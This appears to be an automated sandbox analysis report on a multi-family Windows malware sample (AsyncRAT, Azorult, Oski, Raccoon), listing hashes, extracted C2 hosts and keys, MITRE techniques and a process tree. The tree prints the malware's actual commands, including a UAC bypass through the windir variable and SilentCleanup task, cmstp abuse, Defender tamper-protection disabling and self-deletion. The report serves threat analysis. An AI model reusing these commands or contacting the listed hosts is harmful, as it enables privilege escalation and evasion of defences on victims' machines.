asyncrat | 83cca26268c671a45fb83a496b024c9a30944bae8afb4c3f70f0b47fb940ab25

Analysis

max time kernel
144s
max time network
185s
platform
windows7_x64
resource
win7v20210408
submitted
08/07/2021, 12:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0ac00107a92863b9d0a5dc58e4b87a91.exe
Size 909KB
Sample210708-fxrppth24a
SHA256 83cca26268c671a45fb83a496b024c9a30944bae8afb4c3f70f0b47fb940ab25
MD5 0ac00107a92863b9d0a5dc58e4b87a91
SHA1 a0638baa1f8b57f2ea720e1dced19386db840770
SHA512 be056cc0c07d44ccf177786b5599adbc3bdc951afe024c3a3f2f5f8902e8d8cdb866a2ffeb232f1e5b098a0c12e1e15e341a9a7811935fab8085da24d1c83101
MD5 SHA1 SHA512

Score

10^/10

asyncrat azorult modiloader oski raccoon discovery evasion infostealer persistence rat spyware stealer trojan upx

Malware Config

Extracted

Family

azorult

http://195.245.112.115/index.php

Extracted

Family

oski

erolbasa.ac.ug

Extracted

Family

asyncrat

Version

0.5.7B

icando.ug:6970
icacxndo.ac.ug:6970

Mutex

6SI8OkPnkxzcasd

Attributes

aes_key
rkDO6u9Rg2tQZ5crWRxI7ttwjOqPWDog
anti_detection
false
autorun
false
bdos
false
delay
XX
host
icando.ug,icacxndo.ac.ug
hwid
3
install_file
install_folder
%AppData%
mutex
6SI8OkPnkxzcasd
pastebin_config
null
port
6970
version
0.5.7B

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Contains code to disable Windows Defender 6 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral1/memory/988-169-0x0000000000400000-0x000000000040C000-memory.dmp	disable_win_def
behavioral1/memory/1640-174-0x0000000000400000-0x0000000000408000-memory.dmp	disable_win_def
behavioral1/memory/1640-177-0x0000000000400000-0x0000000000408000-memory.dmp	disable_win_def
behavioral1/memory/1640-175-0x0000000000403BEE-mapping.dmp	disable_win_def
behavioral1/memory/988-165-0x000000000040616E-mapping.dmp	disable_win_def
behavioral1/memory/988-163-0x0000000000400000-0x000000000040C000-memory.dmp	disable_win_def

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon

Async RAT payload 3 IoCs

rat

resource	yara_rule
behavioral1/memory/1496-205-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral1/memory/1496-207-0x000000000040C71E-mapping.dmp	asyncrat
behavioral1/memory/1496-210-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

Downloads MZ/PE file

Executes dropped EXE 13 IoCs

pid	Process
1312	axfdgjkhdf.exe
1484	w1iX8pLN9K.exe
1960	ldVj6bNQhs.exe
1944	fYYRQnSMTh.exe
1064	L3gObyhtVk.exe
1100	orIk1Etl2C.exe
788	oxfdgjkhdf.exe
1376	axfdgjkhdf.exe
1624	orIk1Etl2C.exe
988	fYYRQnSMTh.exe
1640	L3gObyhtVk.exe
980	oxfdgjkhdf.exe
1496	w1iX8pLN9K.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1720-192-0x0000000001FF0000-0x00000000023D4000-memory.dmp	upx

Deletes itself 1 IoCs

pid	Process
1952	cmd.exe

Loads dropped DLL 28 IoCs

pid	Process
1640	0ac00107a92863b9d0a5dc58e4b87a91.exe
1300	0ac00107a92863b9d0a5dc58e4b87a91.exe
1300	0ac00107a92863b9d0a5dc58e4b87a91.exe
1300	0ac00107a92863b9d0a5dc58e4b87a91.exe
1300	0ac00107a92863b9d0a5dc58e4b87a91.exe
1300	0ac00107a92863b9d0a5dc58e4b87a91.exe
1300	0ac00107a92863b9d0a5dc58e4b87a91.exe
1300	0ac00107a92863b9d0a5dc58e4b87a91.exe
1300	0ac00107a92863b9d0a5dc58e4b87a91.exe
1300	0ac00107a92863b9d0a5dc58e4b87a91.exe
1300	0ac00107a92863b9d0a5dc58e4b87a91.exe
1300	0ac00107a92863b9d0a5dc58e4b87a91.exe
1300	0ac00107a92863b9d0a5dc58e4b87a91.exe
1300	0ac00107a92863b9d0a5dc58e4b87a91.exe
1300	0ac00107a92863b9d0a5dc58e4b87a91.exe
1300	0ac00107a92863b9d0a5dc58e4b87a91.exe
1312	axfdgjkhdf.exe
1312	axfdgjkhdf.exe
1100	orIk1Etl2C.exe
1944	fYYRQnSMTh.exe
1064	L3gObyhtVk.exe
788	oxfdgjkhdf.exe
1484	w1iX8pLN9K.exe
980	oxfdgjkhdf.exe
980	oxfdgjkhdf.exe
980	oxfdgjkhdf.exe
980	oxfdgjkhdf.exe
980	oxfdgjkhdf.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features	L3gObyhtVk.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	L3gObyhtVk.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\Run\Pqlgwrp = "C:\\Users\\Public\\Libraries\\prwglqP.url"	ldVj6bNQhs.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\Run\Hjvbjtp = "C:\\Users\\Public\\Libraries\\ptjbvjH.url"	orIk1Etl2C.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\LocalLow\yJ7yX3xU-6u\desktop.ini	0ac00107a92863b9d0a5dc58e4b87a91.exe
File opened for modification	C:\Users\Admin\AppData\LocalLow\yJ7yX3xU-6u\desktop.ini	0ac00107a92863b9d0a5dc58e4b87a91.exe

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 1640 set thread context of 1300	1640	0ac00107a92863b9d0a5dc58e4b87a91.exe	30
PID 1312 set thread context of 1376	1312	axfdgjkhdf.exe	41
PID 1100 set thread context of 1624	1100	orIk1Etl2C.exe	43
PID 1944 set thread context of 988	1944	fYYRQnSMTh.exe	48
PID 1064 set thread context of 1640	1064	L3gObyhtVk.exe	52
PID 788 set thread context of 980	788	oxfdgjkhdf.exe	56
PID 1484 set thread context of 1496	1484	w1iX8pLN9K.exe	62

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1788	1720	WerFault.exe	44

Checks processor information in registry 2 TTPs 1 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	oxfdgjkhdf.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1956	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
916	timeout.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1060	taskkill.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
964	reg.exe
1496	reg.exe
1616	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	0ac00107a92863b9d0a5dc58e4b87a91.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	0ac00107a92863b9d0a5dc58e4b87a91.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1640	0ac00107a92863b9d0a5dc58e4b87a91.exe
Token: SeDebugPrivilege	1312	axfdgjkhdf.exe
Token: SeDebugPrivilege	988	fYYRQnSMTh.exe
Token: SeDebugPrivilege	1680	powershell.exe
Token: SeDebugPrivilege	1788	WerFault.exe
Token: SeDebugPrivilege	1060	taskkill.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
988	fYYRQnSMTh.exe
988	fYYRQnSMTh.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1640 wrote to memory of 1312	1640	0ac00107a92863b9d0a5dc58e4b87a91.exe	29
PID 1640 wrote to memory of 1312	1640	0ac00107a92863b9d0a5dc58e4b87a91.exe	29
PID 1640 wrote to memory of 1312	1640	0ac00107a92863b9d0a5dc58e4b87a91.exe	29
PID 1640 wrote to memory of 1312	1640	0ac00107a92863b9d0a5dc58e4b87a91.exe	29
PID 1640 wrote to memory of 1300	1640	0ac00107a92863b9d0a5dc58e4b87a91.exe	30
PID 1640 wrote to memory of 1300	1640	0ac00107a92863b9d0a5dc58e4b87a91.exe	30
PID 1640 wrote to memory of 1300	1640	0ac00107a92863b9d0a5dc58e4b87a91.exe	30
PID 1640 wrote to memory of 1300	1640	0ac00107a92863b9d0a5dc58e4b87a91.exe	30
PID 1640 wrote to memory of 1300	1640	0ac00107a92863b9d0a5dc58e4b87a91.exe	30
PID 1640 wrote to memory of 1300	1640	0ac00107a92863b9d0a5dc58e4b87a91.exe	30
PID 1640 wrote to memory of 1300	1640	0ac00107a92863b9d0a5dc58e4b87a91.exe	30
PID 1640 wrote to memory of 1300	1640	0ac00107a92863b9d0a5dc58e4b87a91.exe	30
PID 1640 wrote to memory of 1300	1640	0ac00107a92863b9d0a5dc58e4b87a91.exe	30
PID 1640 wrote to memory of 1300	1640	0ac00107a92863b9d0a5dc58e4b87a91.exe	30
PID 1300 wrote to memory of 1484	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	32
PID 1300 wrote to memory of 1484	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	32
PID 1300 wrote to memory of 1484	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	32
PID 1300 wrote to memory of 1484	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	32
PID 1300 wrote to memory of 1960	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	33
PID 1300 wrote to memory of 1960	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	33
PID 1300 wrote to memory of 1960	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	33
PID 1300 wrote to memory of 1960	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	33
PID 1300 wrote to memory of 1944	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	34
PID 1300 wrote to memory of 1944	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	34
PID 1300 wrote to memory of 1944	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	34
PID 1300 wrote to memory of 1944	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	34
PID 1300 wrote to memory of 1064	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	35
PID 1300 wrote to memory of 1064	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	35
PID 1300 wrote to memory of 1064	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	35
PID 1300 wrote to memory of 1064	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	35
PID 1300 wrote to memory of 1100	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	36
PID 1300 wrote to memory of 1100	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	36
PID 1300 wrote to memory of 1100	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	36
PID 1300 wrote to memory of 1100	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	36
PID 1300 wrote to memory of 1952	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	38
PID 1300 wrote to memory of 1952	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	38
PID 1300 wrote to memory of 1952	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	38
PID 1300 wrote to memory of 1952	1300	0ac00107a92863b9d0a5dc58e4b87a91.exe	38
PID 1952 wrote to memory of 916	1952	cmd.exe	39
PID 1952 wrote to memory of 916	1952	cmd.exe	39
PID 1952 wrote to memory of 916	1952	cmd.exe	39
PID 1952 wrote to memory of 916	1952	cmd.exe	39
PID 1312 wrote to memory of 788	1312	axfdgjkhdf.exe	40
PID 1312 wrote to memory of 788	1312	axfdgjkhdf.exe	40
PID 1312 wrote to memory of 788	1312	axfdgjkhdf.exe	40
PID 1312 wrote to memory of 788	1312	axfdgjkhdf.exe	40
PID 1312 wrote to memory of 1376	1312	axfdgjkhdf.exe	41
PID 1312 wrote to memory of 1376	1312	axfdgjkhdf.exe	41
PID 1312 wrote to memory of 1376	1312	axfdgjkhdf.exe	41
PID 1312 wrote to memory of 1376	1312	axfdgjkhdf.exe	41
PID 1312 wrote to memory of 1376	1312	axfdgjkhdf.exe	41
PID 1312 wrote to memory of 1376	1312	axfdgjkhdf.exe	41
PID 1312 wrote to memory of 1376	1312	axfdgjkhdf.exe	41
PID 1312 wrote to memory of 1376	1312	axfdgjkhdf.exe	41
PID 1312 wrote to memory of 1376	1312	axfdgjkhdf.exe	41
PID 1312 wrote to memory of 1376	1312	axfdgjkhdf.exe	41
PID 1100 wrote to memory of 1624	1100	orIk1Etl2C.exe	43
PID 1100 wrote to memory of 1624	1100	orIk1Etl2C.exe	43
PID 1100 wrote to memory of 1624	1100	orIk1Etl2C.exe	43
PID 1100 wrote to memory of 1624	1100	orIk1Etl2C.exe	43
PID 1100 wrote to memory of 1624	1100	orIk1Etl2C.exe	43
PID 1100 wrote to memory of 1624	1100	orIk1Etl2C.exe	43
PID 1960 wrote to memory of 1720	1960	ldVj6bNQhs.exe	44
PID 1960 wrote to memory of 1720	1960	ldVj6bNQhs.exe	44

C:\Users\Admin\AppData\Local\Temp\0ac00107a92863b9d0a5dc58e4b87a91.exe
"C:\Users\Admin\AppData\Local\Temp\0ac00107a92863b9d0a5dc58e4b87a91.exe"
1⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1640
- C:\Users\Admin\AppData\Local\Temp\axfdgjkhdf.exe
  "C:\Users\Admin\AppData\Local\Temp\axfdgjkhdf.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1312
- - C:\Users\Admin\AppData\Local\Temp\oxfdgjkhdf.exe
    "C:\Users\Admin\AppData\Local\Temp\oxfdgjkhdf.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    PID:788
  - - C:\Users\Admin\AppData\Local\Temp\oxfdgjkhdf.exe
      "{path}"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      PID:980
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /pid 980 & erase C:\Users\Admin\AppData\Local\Temp\oxfdgjkhdf.exe & RD /S /Q C:\\ProgramData\\677888534551620\\* & exit
        5⤵
        
        PID:428
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /pid 980
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1060
- - C:\Users\Admin\AppData\Local\Temp\axfdgjkhdf.exe
    "{path}"
    3⤵
    - Executes dropped EXE
    PID:1376
- C:\Users\Admin\AppData\Local\Temp\0ac00107a92863b9d0a5dc58e4b87a91.exe
  "{path}"
  2⤵
  - Loads dropped DLL
  - Drops desktop.ini file(s)
  - Modifies system certificate store
  - Suspicious use of WriteProcessMemory
  PID:1300
- - C:\Users\Admin\AppData\Local\Temp\w1iX8pLN9K.exe
    "C:\Users\Admin\AppData\Local\Temp\w1iX8pLN9K.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    PID:1484
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dwBYAHYJKqRykk" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC33F.tmp"
      4⤵
      Creates scheduled task(s)
      PID:1956
  - - C:\Users\Admin\AppData\Local\Temp\w1iX8pLN9K.exe
      "{path}"
      4⤵
      Executes dropped EXE
      PID:1496
- - C:\Users\Admin\AppData\Local\Temp\ldVj6bNQhs.exe
    "C:\Users\Admin\AppData\Local\Temp\ldVj6bNQhs.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:1960
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      PID:1720
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1720 -s 24
        5⤵
        Program crash
        Suspicious use of AdjustPrivilegeToken
        
        PID:1788
- - C:\Users\Admin\AppData\Local\Temp\fYYRQnSMTh.exe
    "C:\Users\Admin\AppData\Local\Temp\fYYRQnSMTh.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    PID:1944
  - - C:\Users\Admin\AppData\Local\Temp\fYYRQnSMTh.exe
      "{path}"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:988
    - - \??\c:\windows\SysWOW64\cmstp.exe
        
        "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\xqsi0w5f.inf
        5⤵
        
        PID:524
- - C:\Users\Admin\AppData\Local\Temp\L3gObyhtVk.exe
    "C:\Users\Admin\AppData\Local\Temp\L3gObyhtVk.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    PID:1064
  - - C:\Users\Admin\AppData\Local\Temp\L3gObyhtVk.exe
      "{path}"
      4⤵
      Executes dropped EXE
      Windows security modification
      PID:1640
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" Get-MpPreference -verbose
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1680
- - C:\Users\Admin\AppData\Local\Temp\orIk1Etl2C.exe
    "C:\Users\Admin\AppData\Local\Temp\orIk1Etl2C.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:1100
  - - C:\Users\Admin\AppData\Local\Temp\orIk1Etl2C.exe
      "C:\Users\Admin\AppData\Local\Temp\orIk1Etl2C.exe"
      4⤵
      Executes dropped EXE
      PID:1624
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Public\Trast.bat" "
      4⤵
      PID:820
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
        5⤵
        
        PID:1592
      - C:\Windows\SysWOW64\reg.exe
        
        reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
        6⤵
        Modifies registry key
        
        PID:964
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete hkcu\Environment /v windir /f
        6⤵
        Modifies registry key
        
        PID:1496
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
        6⤵
        
        PID:1336
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Public\nest.bat" "
      4⤵
      PID:1188
    - - C:\Windows\SysWOW64\reg.exe
        
        reg delete hkcu\Environment /v windir /f
        5⤵
        Modifies registry key
        
        PID:1616
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\0ac00107a92863b9d0a5dc58e4b87a91.exe"
    3⤵
    - Deletes itself
    - Suspicious use of WriteProcessMemory
    PID:1952
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /T 10 /NOBREAK
      4⤵
      Delays execution with timeout.exe
      PID:916

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/788-134-0x0000000001240000-0x0000000001241000-memory.dmp

Download

memory/788-159-0x0000000006090000-0x0000000006123000-memory.dmp

Download

memory/788-139-0x0000000000710000-0x0000000000711000-memory.dmp

Download

memory/788-178-0x0000000000990000-0x00000000009D8000-memory.dmp

Download

memory/980-185-0x0000000000400000-0x0000000000434000-memory.dmp

Download

memory/980-204-0x0000000000400000-0x0000000000434000-memory.dmp

Download

memory/988-163-0x0000000000400000-0x000000000040C000-memory.dmp

Download

memory/988-208-0x0000000000C35000-0x0000000000C46000-memory.dmp

Download

memory/988-206-0x0000000000C30000-0x0000000000C31000-memory.dmp

Download

memory/988-169-0x0000000000400000-0x000000000040C000-memory.dmp

Download

memory/988-211-0x0000000000C46000-0x0000000000C47000-memory.dmp

Download

memory/1064-171-0x0000000000BE0000-0x0000000000BFD000-memory.dmp

Download

memory/1064-161-0x0000000005B60000-0x0000000005BD0000-memory.dmp

Download

memory/1064-121-0x00000000003A0000-0x00000000003A1000-memory.dmp

Download

memory/1064-112-0x00000000013D0000-0x00000000013D1000-memory.dmp

Download

memory/1100-123-0x0000000000230000-0x0000000000231000-memory.dmp

Download

memory/1300-74-0x0000000075041000-0x0000000075043000-memory.dmp

Download

memory/1300-70-0x0000000000400000-0x0000000000492000-memory.dmp

Download

memory/1300-77-0x0000000000400000-0x0000000000492000-memory.dmp

Download

memory/1312-124-0x0000000006190000-0x0000000006213000-memory.dmp

Download

memory/1312-125-0x0000000001F10000-0x0000000001F45000-memory.dmp

Download

memory/1312-76-0x0000000001ED0000-0x0000000001ED1000-memory.dmp

Download

memory/1312-71-0x00000000002C0000-0x00000000002C1000-memory.dmp

Download

memory/1376-131-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/1376-138-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/1484-164-0x0000000001020000-0x0000000001044000-memory.dmp

Download

memory/1484-151-0x0000000004EE0000-0x0000000004F55000-memory.dmp

Download

memory/1484-90-0x0000000001150000-0x0000000001151000-memory.dmp

Download

memory/1484-96-0x0000000004D70000-0x0000000004D71000-memory.dmp

Download

memory/1496-205-0x0000000000400000-0x0000000000412000-memory.dmp

Download

memory/1496-210-0x0000000000400000-0x0000000000412000-memory.dmp

Download

memory/1496-218-0x0000000000690000-0x0000000000691000-memory.dmp

Download

memory/1624-148-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/1624-146-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/1624-149-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/1640-174-0x0000000000400000-0x0000000000408000-memory.dmp

Download

memory/1640-65-0x0000000008110000-0x00000000081C0000-memory.dmp

Download

memory/1640-64-0x0000000008040000-0x000000000810F000-memory.dmp

Download

memory/1640-63-0x0000000000410000-0x0000000000412000-memory.dmp

Download

memory/1640-60-0x00000000012A0000-0x00000000012A1000-memory.dmp

Download

memory/1640-177-0x0000000000400000-0x0000000000408000-memory.dmp

Download

memory/1640-62-0x0000000004CE0000-0x0000000004CE1000-memory.dmp

Download

